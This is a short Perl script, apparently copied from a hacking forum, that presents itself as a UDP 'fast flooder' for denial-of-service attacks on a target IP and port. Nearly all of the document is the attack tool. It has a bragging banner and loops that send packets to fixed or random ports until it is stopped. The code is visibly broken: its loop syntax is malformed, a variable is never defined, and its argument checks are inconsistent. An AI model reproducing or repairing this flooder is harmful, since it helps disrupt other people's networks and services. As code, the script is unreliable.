#!/usr/bin/perl ##################################################### # Ip FuckZ0r # # By nevermind # # ddos.pl - udp ip ddoser # ###################################################### use Socket; $ARGC=@ARGV; if ($ARGC !=3) { printf "$0 <ip> <port> <timp>\n"; printf "if arg1/2 =0, pachete orice marime / atac pe orice port\n"; exit(1); } my ($ip,$port,$size,$time); $ip=$ARGV[0]; $port=$ARGV[1]; $time=$ARGV[2]; socket(crazy, PF_INET, SOCK_DGRAM, 17); $iaddr = inet_aton("$ip"); printf "::::::::::::::::::::::::::::::::::::::::::::::::::::::: ::::::::::::::: Made By nevermind ::::::::::::::::::::::::::::::::::::::::::::::::::::::: ::::::::::::::: Udp Fast Flooder ::::::::::::::::::::::::::::::::::::::::::::::::::::::: ::::::::::::::: Connection Speed 1 ::::::::::::::::::::::::::::::::::::::::::::::::::::::: ::::::::::::::: Ip/Connection 500 ::::::::::::::::::::::::::::::::::::::::::::::::::::::: ::::::::::::::: Target Info Set ::::::::::::::::::::::::::::::::::::::::::::::::::::::: ::::::::::::::: Attack started ::::::::::::::::::::::::::::::::::::::::::::::::::::::: ::::::::::::::: 65500 Sent Ctrl+C To Stop ::::::::::::::::::::::::::::::::::::::::::::::::::::::: \n"; if ($ARGV[1] ==0 && $ARGV[2] ==0) { goto randpackets; } if ($ARGV[1] !=0 && $ARGV[2] !=0) { system("(sleep $time;killall -9 udp) &"); goto packets; } if ($ARGV[1] !=0 && $ARGV[2] ==0) { goto packets; } if ($ARGV[1] ==0 && $ARGV[2] !=0) { system("(sleep $time;killall -9 udp) &"); goto randpackets; } packets: for ( { $size=$rand x $rand x $rand; send(crazy, 0, $size, sockaddr_in($port, $iaddr)); } randpackets: for ( { $size=$rand x $rand x $rand; $port=int(rand 65500) +1; send(crazy, 0, $size, sockaddr_in($port, $iaddr)); }[/Qcode]